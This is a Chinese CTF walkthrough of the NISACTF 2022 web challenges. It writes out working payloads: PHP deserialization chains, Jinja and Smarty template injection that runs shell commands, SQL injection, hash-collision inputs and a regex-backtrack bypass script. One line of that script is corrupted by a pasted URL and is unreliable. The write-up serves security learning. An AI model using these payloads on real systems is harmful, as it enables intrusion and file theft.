主頁 >  其他 > 2022NISACTF--WEB

2022NISACTF--WEB

2022-10-31 07:35:00 其他

easyssrf

打開題目，顯示的是

嘗試輸入， 發現輸入flag有東西

讀取檔案

訪問下一個網站

讀取檔案 不能以file開頭 直接偽協議，base64解碼

checkIn

奇怪的unicode編碼

當選中左邊的時候右邊也會被選中

我們在vscode看看 這樣的額

展示的是UTF-16 三位16進制 轉化一下UTF-8

U+202E 0xE2 0x80 0xAE   %E2%80%AE
U+2066 0xE2 0x81 0xA6   %E2%81%A6
U+2069 0xE2 0x81 0xA9   %E2%81%A9

調整一下就好了

payload

ahahahaha=jitanglailo&%E2%80%AE%E2%81%A6Ugeiwo%E2%81%A9%E2%81%A6cuishiyuan=%E2%80%AE%E2%81%A6 Flag!%E2%81%A9%E2%81%A6N1SACTF

level-up

考點 hash強碰撞 parse_url函式漏洞 create_funcion函式代碼執行

打開題目，查看原始碼

disallow 一般robots.txt里會有 查看一下，進入第二關

第二關 md5 碰撞繞過

array1=abc%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%D6%16y%AC%CE%C5%A1LrY5fn%94%10%D9%01%C3%AC%F8%AAN%21%D0%27%BE%3Ej%A7%22%0C%D08%D3%AF%DFRo%2F%A4%8B%E8%EB45j%E4h%9C%21%22%AB%7E%BC%8E%7C%17%9E%C3Xg%D7%A8%CDHt%BE%AB.%2FWb%3Eb%EA%FC%261%0F_%3D%AFo%3F%1E%DE%E8i%86%7D%BF%C7_Q%CDA%B4%CF%B8n%06Ir%7F%5C%A3k%F9%2AO%DFF%2A%F3%8BcH%FF%85%3F%0D%D0%9B%C7%C8-%12%92

array2=abc%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%D6%16y%AC%CE%C5%A1LrY5fn%94%10%D9%01%C3%ACx%AAN%21%D0%27%BE%3Ej%A7%22%0C%D08%D3%AF%DFRo%2F%A4%8B%E8%EB45%EA%E4h%9C%21%22%AB%7E%BC%8E%7C%17%9E%C3%D8g%D7%A8%CDHt%BE%AB.%2FWb%3Eb%EA%FC%261%0F_%3D%AFo%BF%1E%DE%E8i%86%7D%BF%C7_Q%CDA%B4%CF%B8n%06Ir%7F%5C%A3k%F9%2A%CF%DEF%2A%F3%8BcH%FF%85%3F%0D%D0%9BG%C8-%12%92

進入第三關

array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1

array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

進入第四關

先了解一下parse_url函式：決議 URL，回傳其組成部分

  • scheme - 如 http
  • host
  • port
  • user
  • pass
  • path
  • query - 在問號 ? 之后
  • fragment - 在散列符號 # 之后

方法一、php傳參決議：不規范的被轉化為_;NI+ => NI_

方法二、parse_url函式漏洞

http://xxxx/xx.php?xx=xx   決議的query  為xx=xx
http://xxxx///xx.php?xx=xx 決議的query  為NULL 就是決議不到query

進入第五關

ok 這個形式 形似之前我做的筆記，第二個引數會被當作命令執行

考點應該是 create_function 方法

分析該正則

if(preg_match('/^[a-z0-9_]*$/isD',$a)){
    show_source(__FILE__);
}

/i不區分大小寫
/s匹配任何不可見字符，包括空格、制表符、換頁符等等，等價于[fnrtv]
/D如果使用$限制結尾字符,則不允許結尾有換行;

意思就是 匹配字母數字下劃線開頭的字符
我們需要找到一個不以數字，字母，下劃線等開頭的value，同時可以正常執行函式
可以是fuzz找 就是 ascii碼32-126作為第一個引數 發請求 看回應 
找到的是 \ 也就是 %5c

構造一下

a=\create_function&b=;}phpinfo();/*

babyupload

考點：python的os.path函式漏洞

查看原始碼

訪問 下載原始碼

Flask寫的后端，上傳的檔案名不能有. 回傳一個路徑

拼接路徑 讀取檔案

os.path漏洞

所以說

os.path("upload/",'/flag') => os.path('/flag')

一般來講 flag都是在根目錄下載flag 特別是這樣的考點

上傳的檔案名為 /flag 就會讀取內容

bingdundun~

考點：phar偽協議讀取壓縮檔案

打開題目

說的可以上傳壓縮包，我們制造一個壓縮包木馬 然后 phar 讀取試試

這里剛開始上傳rar不可以 上傳的zip

寫木馬=>壓縮成zip

執行成功，尋找flag

babyserialize

考點：反序列POC構造 system繞過

一眼反序列化 打開題目為原始碼

include "waf.php";
class NISA{
    public $fun="show_me_flag";
    public $txw4ever;
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}

class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
    public $huang;
    public $su;

    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }

    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}

class four{
    public $a="TXW4EVER";
    private $fun='abc';

    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}

if(isset($_GET['ser'])){
    @unserialize($_GET['ser']);
}else{
    highlight_file(__FILE__);
}

?>

一步一步的分析

# 這里可以先看看提示
public function __wakeup()
{
    if($this->fun=="show_me_flag"){
        hint();
    }
}

# 構造
?ser=O:4:"NISA":2:{s:3:"fun";s:12:"show_me_flag";s:8:"txw4ever";N;}

然后接著分析 先找到目的地

# NISA類的
# __invoke以函式的形式呼叫物件時觸發
public function __invoke()
{
    checkcheck($this->txw4ever);
    @eval($this->txw4ever);
}

# 發現  Ilovetxw類有 
# $this->su=new NISA();
# __toString 將物件當作字串處理的時候觸發
public function __toString(){
    $bb = $this->su;
    return $bb();
}

# 發現了兩處
# 1.NISA類的
public function __wakeup()
{
    if($this->fun=="show_me_flag"){
        hint();
    }
}

# 2.four類的
public function __set($name, $value)
{
    $this->$name=$value;
    if ($this->fun = "sixsixsix"){
        strtolower($this->a);
    }
}

我們先根據第一處構造POC

class NISA{
    public $fun;
    public $txw4ever;
}

class Ilovetxw{
    public $huang;
    public $su;
}
$a = new NISA();
$b = new Ilovetxw();
$b->su = $a;
$a->txw4ever = "phpinfo();";
$a->fun = $b;
echo((serialize($a)));

說明是對的不過被waf擋住了而已

過濾了system

命令執行函式system()繞過
"\x73\x79\x73\x74\x65\x6d"("cat%20/flag");
(sy.(st).em)(whoami);

最終的POC

class NISA{
    public $fun;
    public $txw4ever;
}

class Ilovetxw{
    public $huang;
    public $su;
}
$a = new NISA();
$b = new Ilovetxw();
$b->su = $a;
$a->txw4ever = '"\x73\x79\x73\x74\x65\x6d"("cat /f*");';
$a->fun = $b;
echo((serialize($a)));

第二處構造POC

# NISA類的
# __invoke以函式的形式呼叫物件時觸發
public function __invoke()
{
    checkcheck($this->txw4ever);
    @eval($this->txw4ever);
}

# 發現  Ilovetxw類有 
# $this->su=new NISA();
# __toString 將物件當作字串處理的時候觸發
public function __toString(){
    $bb = $this->su;
    return $bb();
}

# 2.four類的
# __set給不可訪問 不存在的屬性賦值時觸發
# $this->a=new Ilovetxw();
public function __set($name, $value)
{
    $this->$name=$value;
    if ($this->fun = "sixsixsix"){
        strtolower($this->a);
    }
}

# Ilovetxw類的
# $this->huang=new four();
# __call呼叫不存在的方法觸發
public function __call($fun1,$arg){
    $this->huang->fun=$arg[0];
}

# TianXiWei類的
#  $this->ext=new Ilovetxw();
public function __wakeup()
{
    $this->ext->nisa($this->x);
}

合起來構造

class NISA{
    public $fun;
    public $txw4ever;
}

class TianXiWei{
    public $ext;
    public $x;
}

class Ilovetxw{
    public $huang;
    public $su;
}

class four{
    public $a;
    private $fun;
}
$a=new TianXiWei();
$b=new Ilovetxw();
$c=new four();
$d=new NISA();
$a->ext=$b;
$b->huang=$c;
$c->a=$b;
$b->su=$d;
$d->txw4ever="system('ls');";
echo urlencode(serialize($a));

也是成功的

繞過

class NISA{
    public $fun;
    public $txw4ever;
}
class TianXiWei{
    public $ext;
    public $x;
}
class Ilovetxw{
    public $huang;
    public $su;
}
class four{
    public $a;
    private $fun;
}
$a=new TianXiWei();
$b=new Ilovetxw();
$c=new four();
$d=new NISA();

$a->ext=$b;
$b->huang=$c;
$c->a=$b;
$b->su=$d;
$d->txw4ever="(sy.(st).em)('cat /f*');";

echo urlencode(serialize($a));

midlevel

考點：Smarty SSTI

打開題目顯示了IP 肯定時根據xff顯示的IP 所以我們的可控點就是xff 來到最后看到

使用的是Smarty模板 考慮服務器模板注入

Smarty的注入方式{if phpinfo()}{/if} 嘗試一下

image-20221030160247518

OK 已經出答案了

X-Forwarded-For:{if system('nl /f*')}{/if}


join-us

考點：join using 無列名注入

訪問登錄頁面，看到一個cat u get flag 輸入框 試試sql注入

有報錯資訊

黑名單

by updatexml database union columns = substr

爆資料庫名

這里一步一步的測驗過濾什么的時候，發現了 泄露了表的名稱

在查詢是 如果查詢的列不存在 并且 沒有關閉報錯資訊 可以查詢一個不存在的列 這樣會報錯

爆表名

方法一、brup爆破

這里忘記了考慮 過濾= like替換了 直接爆破 一般我們創建的表都是在最后的

方法二、like替換=

join using 爆破列名

查出來Fal_flag有以下三列

id
data
i_tell_u_this_is_Fal(se)_flag_is_in_another
1'or/**/extractvalue(1,concat(0x7e,(select * from(select * from Fal_flag a join Fal_flag b using(id,data,i_tell_u_this_is_Fal(se)_flag_is_in_another))c),0x7e))--+

提示不在這個表中 去看另外一個表

{3bfb0ba4-dac9-425a-9e0f-cf2672d7afdd}

或者查data，結果都是一樣的，配個mid 顯示后面的

is secret

考點：RC4、SSTI

打開之后 這樣，讓我們發現secret

嘗試 傳參 /secret 等等 發現是/secret

頁面：

意思就是給他secret 它回傳加密的內容

看 第一個加密時字母 其余的不可見 猜測可能加密的字符長度受限 試試看

果然 泄露了敏感資訊 分析一下

  • RC4 解密 密鑰是 HereIsTreasure
  • render_template_string 渲染 存在 SSTI python的

找一個RC4加密的腳本

import base64
from urllib import parse


def rc4_main(key="init_key", message="init_message"):  # 回傳加密后得內容
    s_box = rc4_init_sbox(key)
    crypt = str(rc4_excrypt(message, s_box))
    return crypt


def rc4_init_sbox(key):
    s_box = list(range(256))
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    return s_box


def rc4_excrypt(plain, box):
    res = []
    i = j = 0
    for s in plain:
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(ord(s) ^ k))
    cipher = "".join(res)
    return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))


key = "HereIsTreasure"  # 此處為密文
message = input("請輸入明文:\n")
enc_base64 = rc4_main(key, message)
enc_init = str(base64.b64decode(enc_base64), 'utf-8')
enc_url = parse.quote(enc_init)
print("rc4加密后的url編碼:" + enc_url)
# print("rc4加密后的base64編碼"+enc_base64)

運行RC4 加密

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}

ls換成cat /flag.txt

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /f*').read()")}}{% endif %}{% endfor %}

popchains

考點：反序列化鏈子構造、flag藏得位置

class Road_is_Long{
    public $page;
    public $string;
    public function __construct($file='index.php'){
        $this->page = $file;
    }
    //3.$this->string=new  Make_a_Change
    // 把實體當作字串處理觸發
    public function __toString(){
        return $this->string->page;
    }

    public function __wakeup(){
        // 這里 
        if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
            echo "You can Not Enter 2022";
            $this->page = "index.php";
        }
    }
}

class Try_Work_Hard{
    protected  $var;
    # 終點
    public function append($value){
        include($value);
    }
    # 1.呼叫終點   __invoke 以函式形式呼叫時觸發
    public function __invoke(){
        $this->append($this->var);
    }
}

class Make_a_Change{
    public $effort;
    public function __construct(){
        $this->effort = array();
    }
	
    public function __get($key){
        // 2.  $this->effort=new Try_Work_Hard();
        //  __get 訪問不存在 不可訪問的屬性觸發
        $function = $this->effort;
        return $function();
    }
}

構造的POC

<?php 
class Road_is_Long{
    public $page;
    public $string;
    //3.$this->string=new  Make_a_Change
}

class Try_Work_Hard{
    protected  $var;
    function __construct(){
        $this->var="php://filter/convert.base64-encode/resource=flag.php";
    }
}

class Make_a_Change{
    public $effort;
    // 2.  $this->effort=new Try_Work_Hard();
    }
 //   $this->var="xx";
$a = new Road_is_Long();
$b=new Make_a_Change();
$c=new Try_Work_Hard();
$a->page = $a;
$a->string=$b;
$b->effort=$c;

echo urlencode(serialize($a));

先本地測驗一下 我在同目錄放了一個flag.php

ok 是可以的

試試看，沒有顯示 就懷疑是不是沒有放在flag.php

往常一樣試試根目錄 /flag /flag.php 一般就是給我們挖坑就不會改的特別離譜的名字

最終的POC

class Road_is_Long{
    public $page;
    public $string;
    //3.$this->string=new  Make_a_Change
}
class Try_Work_Hard{
    protected  $var;
    function __construct(){
        $this->var="php://filter/convert.base64-encode/resource=/flag";
    }
}
class Make_a_Change{
    public $effort;
    // 2.  $this->effort=new Try_Work_Hard();
    }
 //   $this->var="xx";
$a = new Road_is_Long();
$b=new Make_a_Change();
$c=new Try_Work_Hard();
$a->page = $a;
$a->string=$b;
$b->effort=$c;
echo urlencode(serialize($a));

這個比前一個反序列化要簡單看來

middlerce

考點：PRCE繞過、RCE

打開題目直接是原始碼

include "check.php";
if (isset($_REQUEST['letter'])){
    $txw4ever = $_REQUEST['letter'];
    if (preg_match('/^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$/m',$txw4ever)){
        die("再加把油喔");
    }
    else{
        $command = json_decode($txw4ever,true)['cmd'];
        checkdata($command);
        @eval($command);
    }
}
else{
    highlight_file(__FILE__);
}

看看這個正則

^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$ 
.*直接匹配所有，但是后面運算式還是需要匹配 這樣就會回溯 
什么意思？
就是如下圖

那么如果找不到會一直回溯尋找嘛？當然不會 PHP有個100w的次數限制，也就是當回溯100w次 preg_match 將不在尋找，回傳為false

注意 這里是false 0 √ false=0 ×

所以在本題中 我們可以構造一個大于回溯個數的串造成逃逸

看這里，是json解碼之后的cmd內容，我們直接構造一個json串 python發送請求

在嘗試程序 system啥的被禁 我們可以閉合前一個 構造下一個php標簽繞過

$command = json_decode($txw4ever,true)['cmd'];
// checkdata 過濾了一些命令 嘗試繞過
checkdata($command);
@eval($command);

如下

import requests
url = "http://1.14.71.254:28950/"
# 直接構造json串
'''
注意細節：
這樣是不對的：'{"cmd":"?><?= `ls`?>;","overflow":'+"-"*1000000+'}' 
因為："overflow":'+"-"*1000000+'}' 這里拼接完成后 - 并沒有引號包裹 導致錯誤  
正確的應該給外層-加上引號 如'{"cmd":"?><?= `ls`?>;","overflow":"'+"-"*1000000+'"}' 

因為-沒有在正則的[]里面 所以可以使用
'''
data='https://www.cnblogs.com/yb0osing/p/{"cmd":"?><?= `nl /f*`?>;","overflow":"'+"-"*1000000+'"}'
resp = requests.post(url=url,data=https://www.cnblogs.com/yb0osing/p/{"letter":data})
print(resp.text)

hardsql

等會寫wp！ 現在有些疲憊啦！

轉載請註明出處，本文鏈接：https://www.uj5u.com/qita/523168.html

標籤：其他

上一篇：網路安全（一）：資訊收集之玩轉nmap（理論篇）

下一篇：HCIA學習筆記三十六：OSPF中的DR和BDR的選舉程序

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C＃(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種：三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看，三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看，三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統，“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及：虛擬機CentOs下執行 yum -y install lrzsz命令，出現錯誤：鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示：其實很簡單，往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號， sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求，SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生， 2020-08-28 16:18:25 分類專欄： kail 網路安全 linux 文章標簽： linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么？ 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼： #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘（北斗授時服務器）讓網路資料更精準

    北斗電力時鐘（北斗授時服務器）讓網路資料更精準 北斗電力時鐘（北斗授時服務器）讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年，資訊技術的得了快速發展，互聯網在逐漸普及，其在人們生活和生產中都得到了廣泛應用，并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用，一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub：https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺，后來才有了CTFHub。 感覺不論是網頁UI設計，還是題目質量，賽事跟蹤，工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解（net user / type /md /rd/ dir /cd /net use copy、批處理 等） 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝，密碼啊破解03Linux常用命令04LAMP 01LINUX windows： win03 8 12 16 19 配置不繁瑣 Linux：redhat,centos(紅帽社區版)，Ubuntu server,suse unix:金融機構，證券，銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 （POST注入/XSS漏洞上傳）3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題，描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • 2023年最新微信小程式抓包教程

    01 開門見山 隔一個月發一篇文章，不過分。 首先回顧一下《微信系結手機號資料庫被脫庫事件》，我也是第一時間得知了這個訊息，然后跟蹤了整件事情的經過。下面是這起事件的相關截圖以及近日流出的一萬條資料樣本： 個人認為這件事也沒什么，還不如關注一下之前45億快遞資料查詢渠道疑似在近日復活的訊息。 訊息是 ......

    uj5u.com 2023-04-20 08:48:24 more
  • web3 產品介紹：metamask 錢包 使用最多的瀏覽器插件錢包

    Metamask錢包是一種基于區塊鏈技術的數字貨幣錢包，它允許用戶在安全、便捷的環境下管理自己的加密資產。Metamask錢包是以太坊生態系統中最流行的錢包之一，它具有易于使用、安全性高和功能強大等優點。 本文將詳細介紹Metamask錢包的功能和使用方法。 一、 Metamask錢包的功能 數字資 ......

    uj5u.com 2023-04-20 08:47:46 more
  • vulnhub_Earth

    前言 靶機地址->>>vulnhub_Earth 攻擊機ip：192.168.20.121 靶機ip：192.168.20.122 參考文章 https://www.cnblogs.com/Jing-X/archive/2022/04/03/16097695.html https://www.cnb ......

    uj5u.com 2023-04-20 07:46:20 more
  • 從4k到42k，軟體測驗工程師的漲薪史，給我看哭了

    清明節一過，盲猜大家已經無心上班，在數著日子準備過五一，但一想到銀行卡里的余額……瞬間心情就不美麗了。最近，2023年高校畢業生就業調查顯示，本科畢業月平均起薪為5825元。調查一出，便有很多同學表示自己又被平均了。看著這一資料，不免讓人想到前不久中國青年報的一項調查：近六成大學生認為畢業10年內會 ......

    uj5u.com 2023-04-20 07:44:00 more
  • 最新版本 Stable Diffusion 開源 AI 繪畫工具之中文自動提詞篇

    🎈 標簽生成器 由于輸入正向提示詞 prompt 和反向提示詞 negative prompt 都是使用英文，所以對學習母語的我們非常不友好 使用網址：https://tinygeeker.github.io/p/ai-prompt-generator 這個網址是為了讓大家在使用 AI 繪畫的時候 ......

    uj5u.com 2023-04-20 07:43:36 more
  • 漫談前端自動化測驗演進之路及測驗工具分析

    隨著前端技術的不斷發展和應用程式的日益復雜，前端自動化測驗也在不斷演進。隨著 Web 應用程式變得越來越復雜，自動化測驗的需求也越來越高。如今，自動化測驗已經成為 Web 應用程式開發程序中不可或缺的一部分，它們可以幫助開發人員更快地發現和修復錯誤，提高應用程式的性能和可靠性。 ......

    uj5u.com 2023-04-20 07:43:16 more
  • CANN開發實踐：4個DVPP記憶體問題的典型案例解讀

    摘要：由于DVPP媒體資料處理功能對存放輸入、輸出資料的記憶體有更高的要求（例如，記憶體首地址128位元組對齊），因此需呼叫專用的記憶體申請介面，那么本期就分享幾個關于DVPP記憶體問題的典型案例，并給出原因分析及解決方法。 本文分享自華為云社區《FAQ_DVPP記憶體問題案例》，作者：昇騰CANN。 DVPP ......

    uj5u.com 2023-04-20 07:43:03 more
  • msf學習

    msf學習 以kali自帶的msf為例 一、msf核心模塊與功能 msf模塊都放在/usr/share/metasploit-framework/modules目錄下 1、auxiliary 輔助模塊，輔助滲透（埠掃描、登錄密碼爆破、漏洞驗證等） 2、encoders 編碼器模塊，主要包含各種編碼 ......

    uj5u.com 2023-04-20 07:42:59 more
  • Halcon軟體安裝與界面簡介

    1. 下載Halcon17版本到到本地 2. 雙擊安裝包后 3. 步驟如下 1.2 Halcon軟體安裝 界面分為四大塊 1. Halcon的五個助手 1) 影像采集助手：與相機連接，設定相機引數，采集影像 2) 標定助手：九點標定或是其它的標定，生成標定檔案及內參外參，可以將像素單位轉換為長度單位 ......

    uj5u.com 2023-04-20 07:42:17 more
  • 在MacOS下使用Unity3D開發游戲

    第一次發博客，先發一下我的游戲開發環境吧。 去年2月份買了一臺MacBookPro2021 M1pro(以下簡稱mbp)，這一年來一直在用mbp開發游戲。我大致分享一下我的開發工具以及使用體驗。 1、Unity 官網鏈接： https://unity.cn/releases 我一般使用的Apple ......

    uj5u.com 2023-04-20 07:40:19 more

Copyright © 2010-2020 有解無憂